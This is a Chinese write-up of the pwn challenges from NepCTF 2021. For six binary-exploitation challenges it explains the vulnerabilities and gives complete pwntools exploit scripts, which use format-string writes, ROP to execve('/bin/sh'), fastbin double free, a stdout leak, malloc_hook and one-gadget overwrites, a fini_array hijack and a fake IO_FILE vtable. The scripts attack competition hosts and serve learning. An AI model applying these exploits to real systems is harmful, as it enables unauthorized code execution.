NepCTF2021个人赛Pwn题解

 

nepCTF [签到] 送你一朵小红花

保护

分析

  • 通过查看字符串,找到后门函数,由于没有被引用,因此IDA并没有识别出来

  • main函数中有一个很明显的溢出,并且malloc中存放的是函数指针

  • 由于开启了PIE,因此后门函数的地址是未知的
  • 但是malloc中已经有一个在后门函数附近的函数指针了,因此后门函数与已经有的函数指针,只有低2B不同
  • 并且由于4K对齐,低12bit保持不变,因此只需要partial overwrite即可,需啊哟猜测4bit

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context(arch='amd64', os='linux')

for i in range(2**4):
    try:    
        sh = remote('node2.hackingfor.fun', 32799)


        #gdb.attach(sh, 'break *'+hex(proc_base+0x1721))

        exp = '\x00'*0x10
        exp+= p16(0xE4E1)
        sh.send(exp)
        sh.interactive()
    except:
        continue

 

nepCTF easypwn

保护

没有PIE,没Canary,只可能事ROP的题了

分析

  • 我们的输入都被复制到bss段上面,很明显的,这是为我们写ROP做准备,不然无法直到ret到哪里
  • 整个程序只有一个格式化字符串漏洞,而且只有7B,我们需要利用这个漏洞来开启ROP

泄露libc

  • 题目只说了是2.27,但是具体是那个小版本没说,可以先利用格式化字符串泄露libc
  • 栈环境

可以利用保存在栈上的libc_start_main的返回地址去泄露libc的最低12bit

远程打出来发现是2.27 UB1.3

开启ROP

  • 7B,只能用类似%xx$hhn的exp,也就是说只够我们任意地址写入一个00的,这时候就用很多种思路了
    • 打GOT表,让试试能否让函数正好偏移到可利用的位置,失败
    • 打IO结构体,但是未知libc地址,后续也没有scanf,失败
    • 通过%100c在buffer输出很多字符,从而再memcpy中产生栈溢出,但是被snprintf的7B限制住了,失败
    • 利用RBP链表劫持caller保存在栈上的,这个技巧很通用,下面详细说明

RBP链表与格式化字符串

  • 从rbp指向的开始,到rsp结束的栈区域称之为一个函数栈帧
  • 当函数A调用函数B时,B需要保证A的函数栈帧不变
  • 因此再进入函数B时有如下指令
    push rbp        ;保存A的rbp,此时rsp指向栈中A的rbp
    mov rsp, rbp    ;rbp=rsp,此时A的栈底成为B的栈顶,此时rbpA的rbp
    sub rsp, X      ;分配X空间,此时[rbp, rsp]成为B自己的栈帧
    ...            
    leave           ;恢复栈空间, rsp=rbp, pop rbp
    ret             ;返回
    
  • 我们可以发现一个天然的栈链表:B的rbp指向保存再栈中A的rbp,
    递推下去,A的rbp也是如此
  • 观察snprintf时的栈环境,可以很明显的看到一条链表

  • 那么与格式化字符串有什么关系呢?
    • 格式化字符串的%N$n参数,需要第N个参数为一个指针才能完成写出
    • 这个rbp链表刚好可以当做我们的参数,而且还不需要我们泄露栈地址,就可以劫持caller()的rbp
  • 假设有caller1()=>caller2()=>caller3()的调用链条,再caller3中我们其rbp链表,修改了保存在栈上的caller2()的rbp为X
    • caller3()经过 leave; ret;返回到caller2()时,caller2()的rbp=X
    • caller2()经过leave; ret;返回到caller1()时,有
      • leave:
        • rsp = rbp = X
        • pop rbp,rsp=X+8
      • ret:
        pop rip,从而开启ROP

ROP

有了上述思路,本题就很容易了

  • 先格式化字符串修改caller()’s rbp最低字节为00,rbp刚好可以偏移到我们可控的位置,开启ROP
  • 整个ROP链表可以描述为
    • ROP1:
      • 劫持rbp为ROP2的地址
      • puts(puts的GOT地址)泄露libc地址
      • 返回到leave; ret,通过栈迁移开启ROP2
    • ROP2:
      • 劫持rbp为ROP3的地址
      • read(0, ROP3, len)读入新的ROP,因为需要利用上libc泄露的地址
      • 返回到leave; ret,栈迁移开启ROP3
    • ROP3:
      • syscall调用execve(“/bin/sh”, 0, 0)
      • 要避免使用system,因为system对rsp的对齐有要求,可能会导致意外的SIGV

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name):    
    log.success(name+' = '+hex(eval(name)))

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

if(len(sys.argv)==1):            #local
    sh = process('./pwn')
    proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
    gdb.attach(sh, 'break *0x400b7e')

else:                            #remtoe
    sh = remote('node2.hackingfor.fun', 34092)

def TeamName(name):
    sh.recvuntil('Please input your teamname: ')
    sh.send(name)

def NameIntro(name, intro):
    sh.recvuntil('input your name\n')
    sh.send(name)
    sh.recvuntil('input introduction\n')
    sh.send(intro)


pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
leave_ret = 0x400a1f

#ROP2 read ROP3 and trigger it
exp = p64(0x602380)        #rbp
exp+= p64(pop_rdi_ret)        #read(0, buf, size)
exp+= p64(0)
exp+= p64(pop_rsi_r15_ret)
exp+= p64(0x602380)
exp+= p64(0)
exp+= p64(elf.symbols['read'])
exp+= p64(leave_ret)
exp = exp.ljust(0x50, 'A')
TeamName(exp)

#ROP1, leak libc addr and begin ROP2
name = "%22$hhn"        #attach rbp list
Intro = p64(0x6020c0)        #rbp, TeamName addr
Intro+= p64(pop_rdi_ret)    #puts(@GOT)
Intro+= p64(elf.got['puts'])
Intro+= p64(elf.plt['puts'])
Intro+= p64(leave_ret)        #stack migrate
Intro+= "/bin/sh\x00"
Intro = Intro.ljust(0x38, 'A')
NameIntro(name, Intro)

sh.recv(4)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - libc.symbols['puts']
Log('libc.address')

rop = p64(0)            #caller's rbp
rop+= p64(pop_rdi_ret)        #rdi
rop+= p64(0x602149)
rop+= p64(pop_rsi_r15_ret)    #rsi
rop+= p64(0)
rop+= p64(0)
rop+= p64(libc.address+0x1b96)    #rdx
rop+= p64(0)
rop+= p64(libc.address+0x43ae8)    #rax
rop+= p64(59)
rop+= p64(libc.address+0xd2745)    #syscall
sleep(1)
sh.send(rop)

sh.interactive()

环境问题

本地UB18.04的测试中,是刚好差了8B无法开启ROP的,但是再UB16.04中就可以正常进行,所以本地调试时还是要多试试环境

 

nepCTF easystack

保护

分析

  • 先把flag read到bss上

  • Main函数

  • 有一个很明显的栈溢出,但自己实现了一个canary机制
  • 当发现canary被修改过之后,会调用__stack_chk_fail()函数
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
		    msg, __libc_argv[0] ?: "<unknown>");
}
  • 其中__libc_argv定义在libc的bss段,指向栈中的文件名指针argv
    • __libc_argv => argv => 文件名
  • 因此我们只要栈溢出的够多,覆盖argv,就可完成一个任意读,本题和2018网鼎杯 GUESS 很像,就不多说了

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')


sh = remote('node2.hackingfor.fun', 31255)

#gdb.attach(sh, 'break *0x400A8E')

sleep(1)
exp = 'A'*0x1c8
exp+= p64(0x6CDE20)
#sh.recvuntil('give me your answer!!\n')
sh.sendline(exp)

sh.interactive()

 

nepCTF sooooeasy

保护

程序分析

  • 结构体
    struct Note{
      bool in_use;
      char* name;
      char msg[0x18];
    };
    sizeof(Note)=0x28
    
  • Add
    • 只能使用0xF次
    • 分配Note并清空
      • note = malloc(struct Note);
      • memset(note, 0, 0x28)
    • 分配任意大小的name并进行写入
      • 读入任意大小的size
      • tmp = malloc(sz),
      • read(0, tmp, sz);
      • note->name=tmp
    • 读入0x17长的msg
      • scanf(“%23s”, &note->msg)
    • note->in_use = 1
    • 记录写入到PtrArr中
      • PtrArr[idx] = note
  • Delete
    • 读入idx:0<=idx<=0x13
    • PtrArr[idx]->in_use = 0
    • free(PtrArr[idx]->name)

思路

泄露libc版本

  • Delete之后没有设置为null,造成double free
  • 堆题libc都很重要,题目没给libc,先用double free测一下
    • 如果报fastbin double free 那就是2.23~2.26
      • 2.23下会检查free的fastbin chunk是不是fastbin链表中的第一个chunk
    • 如果没报错那就是2.27~2.28
      • 因为有tcahce,2.27的tcache没有任何检查
    • 如果报tcache double free那么就是2.29及其以上
      • 因为2.29以后tcache增加了key字段防止tcache double free

不仅知道了是2.23还可以直接更绝低12bit确定libc的小版本

getshell思路

  • 2.23下直接fastbin double free,通过隔块释放的方法绕过检查
  • fastbin attack的要点就在于要伪造size
  • 没开seccomp因此可以利用__malloc_hook前面的0x7F,去伪造一个0x70的大小
  • 思路清晰了,直接fastbin double free打malloc hook+OGG,可能要realloc调整栈
  • 顺便说一句:如果是要打__free_hook,附近没有0x7F怎么办呢?
    • malloc_state前面有0x7F,可以利用这个0x7F打malloc_state控制top chunk指针,不断申请让top chunk最终分配到__free_hook
    • 还是打malloc_state,但这次控制fastbin数组,利用fastbin jump手法,一边伪造size一边分配,这个手法没什么文章说,我后面可能会再发一篇细说

泄露libc思路

  • 题目没给show功能,因此我们只能通过UB的fd指针构造一个stdout指针,然后打IO
    • 先得到一个UBchunk,分配到后partial overwrite残留的fd指针,得到指向stdout附近的的指针
      • UBchunk->FC_near_stdout
      • 不能直接指向stdout,要指向stdout前面的0x7F来伪造size
    • 构造一个double free
      • Fastbin->A<->B
      • 为了绕过检查,A,B,UBchunk的size都一样
    • 分配Fastbin得到A,partial overwrite残留的堆指针,使其指向UBchunk
      • fastbin->B->A->UBchunk->FC_near_stdout
    • 接下来不断分配就可达到stdout
  • 打stdout的手法:
    • 当控制stdout->_flag =0xFBAD1800后
    • 输出时会打印[stdout->_IO_write_base, stdout->_IO_write_ptr)之间的内容

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name):    
    log.success(name+' = '+hex(eval(name)))

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

for i in range(100):
    try:
        sh = remote('node2.hackingfor.fun', 38018)

        def Cmd(n):
            sh.recvuntil('Your choice : ')
            sh.send(str(n).ljust(8, '\x00'))

        def Add(sz, name, msg, nl=True):
            Cmd(1)
            if(nl):
                sh.recvuntil('size of the your name: \n')
            else:
                sh.recvuntil('size of the your name: ')
            sh.sendline(str(sz))

            if(nl):
                sh.recvuntil('Your name:\n')
            else:
                sh.recvuntil('Your name:')
            sh.send(name)

            res = ''
            if(nl):
                res = sh.recvuntil('Your message:\n')
            else:
                res = sh.recvuntil('Your message:')
            sh.send(msg)
            return res

        def Delete(idx, nl = True):
            Cmd(2)
            if(nl):
                sh.recvuntil('mumber\'s index:\n')
            else:
                sh.recvuntil('mumber\'s index:')
            sh.sendline(str(idx))

        Add(0x90, 'A'*0x90, 'A\n')    #0

        Add(0x68, 'B'*0x68, 'B\n')    #1
        Add(0x68, 'C'*0x68, 'C\n')    #2

        #get a UB chunk
        Delete(0)        #UB<=>(A, 0xA0)

        #gdb.attach(sh)

        #partial overwrite UB'fd, get a 0x7F fake chunk near stdout
        hb = 0xc #int(input(), 16)        #0xC
        Add(0x68, p16(0x5DD|(hb<<12)), 'D\n')    #3 0x70+0x30 = 0xA0, D->FC near stdout

        #Fastbin double Free
        Delete(1)        #FB[0x70]->B
        Delete(2)        #FB[0x70]->C->B
        Delete(1)        #FB[0x70]->B<->C

        hb = 0xF #int(input(), 16)        #0xf
        #partial overwrite A's fd, Fastbin[0x70]->C->B->D->FC near stdout
        Add(0x68, p16(0x060|(hb<<12)), 'B\n')    #4
        Add(0x68, p16(0x060|(hb<<12)), 'C\n')    #5    Fastbin[0x70]->B->D->FC near stdout
        Add(0x68, p16(0x060|(hb<<12)), 'B\n')    #6    Fastbin[0x70]->D->FC near stdout
        Add(0x68, p16(0x060|(hb<<12)), 'D\n')    #7    Fastbin[0x70]->FC near stdout

        #stdout attack
        exp = '\x00'*(3+8*6)
        exp+= p64(0xFBAD1800)    #flag
        exp+= p64(0)*3            #read
        exp+= p8(0x58)            #write_ptr
        res = Add(0x68, exp, 'E\n', False)

        #get addr
        libc.address = u64(res[1:9]) -0x3c56a3
        Log('libc.address')
        if(libc.address>=0x0000800000000000):    #check
            sh.close()
            continue

        ones = [0x45226, 0x4527a, 0xf0364, 0xf1207]
        OGG = libc.address + ones[2]
        Log('OGG')

        FC_hook = libc.address+0x3c4aed
        Log('FC_hook')

        #fastbin Double free
        Delete(1, False)        #FB[0x70]->B
        Delete(2, False)        #FB[0x70]->C->B
        Delete(1, False)        #FB[0x70]->B<->C

        #attack realloc_hook, malloc_hook
        Add(0x68, p64(FC_hook), 'B\n', False)    #FB[0x70]->C->B->FC_hook
        Add(0x68, p64(FC_hook), 'C\n', False)    #FB[0x70]->B->FC_hook
        Add(0x68, p64(FC_hook), 'B\n', False)    #FB[0x70]->FC_hook

        #Add(0x68, p64(FC_hook), 'B\n')    #FB[0x70]->C->B->FC_hook
        exp = '\x00'*(3)
        exp+= p64(0)
        exp+= p64(OGG)                            #realloc_hook
        exp+= p64(libc.symbols['realloc']+16)        #adjust stack env
        Add(0x68, exp, 'F\n', False)

        #trigger
        #gdb.attach(sh, 'break *'+hex(proc_base+0xb0a))    
        Cmd(1)

        sh.interactive()

    except:
        continue        
        #sh.close()
'''
telescope 0x202040+0x0000555555554000
want:    0x0000555555759070
'''

 

nepCTF scmt

保护

程序分析

  • 直接格式化字符串泄露rand就好了,模板题

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

sh = remote('node2.hackingfor.fun', 36380)

#gdb.attach(sh, 'break *0x400B23')

exp = '%8$x'
sh.recvuntil('tell me your name:\n')
sh.send(exp)

sh.recvuntil('Welcome!!!')
key = int(sh.recvuntil('Give', drop=True), 16)
Log('key')

sh.recvuntil('number:\n')
sh.sendline(str(key))

sh.interactive()

 

nepCTF superpowers

保护

程序分析

返回地址保护

  • 在进入main函数的时候并不是常规的建立栈帧,而是借助ecx又保存了一次rsp
  • 这样做的目的是避免栈中的有指向返回地址的指针,让格式化字符串无法开启ROP

读文件

  • 读文件可以通过读/proc/self/maps来泄露所有地址
    • self是一个伪目录,表示本进程的pid
    • maps保存了这个进程的内存映射
  • 远程打过去,得知为2.23的libc

格式化字符串

  • 长度无限制,读到栈上,可以直接拿来进行任意写
  • 再进行格式化字符串之后,程序调用了fclose(fp)就返回了
  • main()返回到__libc_start_main()之后,__libc_start_main()又会调用exit()
  • 因此这里有两个攻击面:
    • fclose(fp):伪造fp,通过vtable获得控制权
    • exit():劫持_rtdl_global结构体,伪造.fini_arrary节进行一种另类的ROP
      • 由于偏移问题,这种思路没成功,但还是很有借鉴意义的,所以说一下

劫持_rtdl_global

  • ELF节标识符通过描述符+地址指向节真正的位置
    • 0x1a代表描述的是.fini_array节的地址
    • 0x1c代表描述的是.fini_array节的长度

  • _rtdl_global结构体位于ld.so.2的bss段,用来保存载入的ELF文件
  • _rtdl_global中通过指向ELF节标识符的指针来找到对应节

  • exit()函数再退出时,通过_rtdl_global找到.fini_array节,然后执行其中的函数
  • 通常ELF节标识符都是只读的,无法开刀,但是_rtdl_global可读可写
  • 所以我们可以通过libc地址+偏移找到_rtdl_global的地址
  • 格式化字符串修改_rtdl_global中的fini节指针,指向我们伪造的地方
  • 同时exit()调用.fini_array节中函数的特点
    • 逆序从后往前调用
    • 遍历fini时只有几条指令,栈环境很稳定
    • 第一个参数正好是一个栈指针,可以用作缓冲器传递数据

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')

def Log(name):    
    log.success(name+' = '+hex(eval(name)))

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

if(len(sys.argv)==1):            #local
    sh = process('./pwn')
    proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
    gdb.attach(sh, '''break *0x80487B3''')

else:                            #remtoe
    sh = remote('node2.hackingfor.fun', 34111)

def FileName(fn):
    sh.recvuntil('please input filename:')
    sh.sendline(fn)

def Name(name):
    sh.recvuntil('what\'s you name?\n')
    sh.send(name)



#leak addr
FileName('/proc/self/maps')
for i in range(5):
    sh.recvuntil('\n')
libc.address = int(sh.recv(8), 16)
Log('libc.address')

#fmt str
fini_arr_addr = libc.address + 0x1f59a0
Log('fini_arr_addr')
fini_arr_len_addr = libc.address + 0x1f59a8
buf = 0x0804a400

exp = fmtstr_payload(
        offset = 27,     
        writes = {

            fini_arr_len_addr: buf,
            fini_arr_addr: buf+8,

            #fini_arr_len section
            buf: 0x1C,
            buf+4: 4*3,

            #fini_arr section
            buf+8:  0x1a,
            buf+12:    buf+16,        #fini arr ptr
            buf+16:    libc.symbols['system'],
            buf+20: libc.symbols['gets'],
            buf+24: libc.symbols['gets']
        },
        write_size = 'byte'
    )


Name(exp)
sh.sendline('/bin/sh')

sh.interactive()

'''
print:        break *0x80487B3
exit:        break *0xf7fe8a53 / 0xf7e3677f /0xf7fe8a2f
exit call:    0xf7fe8a70
fini_arr:     set *0x8049edc=0xdeadbeef
main_ret:     break *0x80487DC

fini_arr_addr:     0x08049f10
'''

伪造IO_FILE

  • fclsoe()函数会根据虚表去调用_IO_FINISH(fp)

  • 2.23下并没有对_IO_FILEvtable指针检查,所以可以随意伪造
  • 根据调用,我们只要把_IO_FILE->vatble劫持到伪造的虚表中
  • 然后在伪造的虚表中令__finish字段为system()
  • 此时__finsh(fp)就变成了system(fp),我们只要再fp开头8B中写入”/bin/sh”就可getshell

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')

def Log(name):    
    log.success(name+' = '+hex(eval(name)))

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

if(len(sys.argv)==1):            #local
    sh = process('./pwn')
    proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
    gdb.attach(sh, '''break *0x80487B3
break *0x80487cd''')

else:                            #remtoe
    sh = remote('node2.hackingfor.fun', 31049)

def FileName(fn):
    sh.recvuntil('please input filename:')
    sh.sendline(fn)

def Name(name):
    sh.recvuntil('what\'s you name?\n')
    sh.send(name)



#leak addr
FileName('/proc/self/maps')
for i in range(5):
    sh.recvuntil('\n')
libc.address = int(sh.recv(8), 16)
Log('libc.address')

#fmt str
fp_addr = 0x0804a04c
buf = elf.bss()+0x100

system = libc.symbols['system']
Log('system')

exp = fmtstr_payload(
        offset = 27,     
        writes = {
            fp_addr: buf,

            #fake FILE struct
            buf:         u64('/bin/sh\x00')&(0xFFFFFFFF),
            buf+4:         u64('/bin/sh\x00')>>(32),
            buf+0x38:    -1,                                    #fd=-1 to pass by _IO_file_close_it
            buf+0x48:    libc.address+0x1b1870,                #pointer to zero
            buf+0x58:    libc.address+0x1b1870,                #pointer to zero
            buf+0x94:    buf+0xA0,                            #vtable ptr

            #fake vtable ptr
            buf+0xA8:    system
        },
        write_size = 'byte'
    )
Name(exp)

sh.interactive()

'''
print:        break *0x80487B3
fclose()    break *0x80487cd
'''
(完)